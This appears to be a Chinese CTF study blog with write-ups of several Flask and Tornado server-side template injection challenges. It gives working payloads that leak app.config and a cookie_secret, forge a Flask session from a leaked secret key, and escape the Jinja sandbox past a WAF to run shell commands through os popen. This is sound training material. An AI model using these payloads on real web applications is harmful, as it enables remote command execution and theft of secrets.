在做题之前还是先补充下知识,了解下python flask框架以及ssti的漏洞原理
flask在b站可以找到视频
视频的话可以看这个星盟的直播了解ssti
https://www.bilibili.com/video/BV1zi4y1x7QM
文档类:
https://www.anquanke.com/post/id/188172
https://www.cnblogs.com/wangtanzhi/p/12238779.html
2020.7.21
参考 https://www.cnblogs.com/wangtanzhi/p/12238779.html
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/' )
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
这个题目直接给出了源码,flag被写入了配置文件中
app.config['FLAG'] = os.environ.pop('FLAG')
有一个黑名单过滤了config和self
参考了上边的文章get两种绕过新姿势
/shrine/{{url_for.globals[‘current_app’].config}}
/shrine/{{get_flashed_messages.globals[‘current_app’].config}}
2020.7.22
参考文档: https://blog.csdn.net/weixin_44677409/article/details/94410580
https://blog.csdn.net/brainw/article/details/105811920?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-5.nonecase&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-5.nonecase
https://blog.csdn.net/wyj_1216/article/details/83043627
进入题目可以看到三个文件
分别看一遍
flag.txt说明flag文件在fllllllllag中
render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。
render函数介绍
tornado模板self.render和模板变量传递
说明文件的filehash使用这种算法构成的
稍微改动下filename或者filehash出现error界面,结合题目easy_tornado
tornado是python中的一个web应用框架。( Python Web 框架:Tornado)
发现确实存在ssti漏洞
filehash=md5(cookie_secret+md5(filename))
现在filename=/fllllllllllllag,只需要知道cookie_secret的既能访问flag。
尝试/error?msg={{datetime}}
在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,可以参考Tornado官方文档
通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名
RequestHandler.settings
An alias for self.application.settings.
handler指向的处理当前这个页面的RequestHandler对象,
RequestHandler.settings指向self.application.settings,
因此handler.settings指向RequestHandler.application.settings。
构造payload获取cookie_secret
/error?msg={{handler.settings}}
得到cookie_secret可以进行下一步计算
import hashlib
hash = hashlib.md5()
filename='/fllllllllllllag'
cookie_secret="06d1f7e3-d535-411d-98b4-6f81cf4c88fc"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
得到结果
成功得到flag
2020.7.20
根据提示说我们的name为None,那么我们尝试输入name=123
发现有回显,猜测可能为模板注入
尝试输入name={{config}}得到信息 ‘SECRET_KEY’: ‘woshicaiji’
因为提示说只有admin可以得到flag,猜测考察的flask session伪造,根据SECRET_KEY解密得到{‘username’: b’guest’},所以我们修改如下{‘username’: b’admin’}然后加密
得到
eyJ1c2VybmFtZSI6eyIgYiI6IllXUnRhVzQ9In19.XvGGnw.Spe0HIXgeXJKFPJHYotMk53DkYM修改session的值然后访问/flag即可得到flag
2020.7.22
打开题目就很明了,没有其他仅有一句话,没有robots.txt
在路径拼接处确实发现ssti
先看一波config,发现啥也没有,既然如此判断flag直接保存在某个文件中,于是使用沙盒逃逸的方法来寻找flag
功夫不负有心人,找到fl4g文件,如何构造,可以看下这篇文章
https://www.anquanke.com/post/id/188172#h3-5讲的很详细
成功得到flag
2020.7.22
参考链接:
https://www.anquanke.com/post/id/188172#h3-10
https://jiang-niao.github.io/2020/04/02/SSTi%20%E5%85%A8%E8%A7%A3%E6%9E%90/#%E5%B8%B8%E8%A7%81%E7%BB%95%E8%BF%87
这个题是web8的升级版,加了waf,可以看到存在ssti
加了waf绕过了一些函数和字符
进行fuzzing,做了一个fuzz字典
可以用python或者bp跑一遍,bp简单一些
相应长度为511,说明被过滤,发现过滤了args和.(点)和_(下划线)
点和下划线的绕过可以使用request
如: 绕过点, {{""[request[“args”][“class”]][request[“args”][“mro”]][1]request[“args”][“subclasses”][286][request[“args”][“init”]][request[“args”][“globals”]][“os”]"popen"request[“args”][“read”]}} +web传参
web传参可以url直接传get参数也可以post传参
因为同时过滤了args,所以要吧args用values来替换
最终的payload
cmd位置用来填写bash命令
但是我们发现直接cat fl4g是无法读取flag的提示flag被过滤了,所以需要使用base64来的编码绕过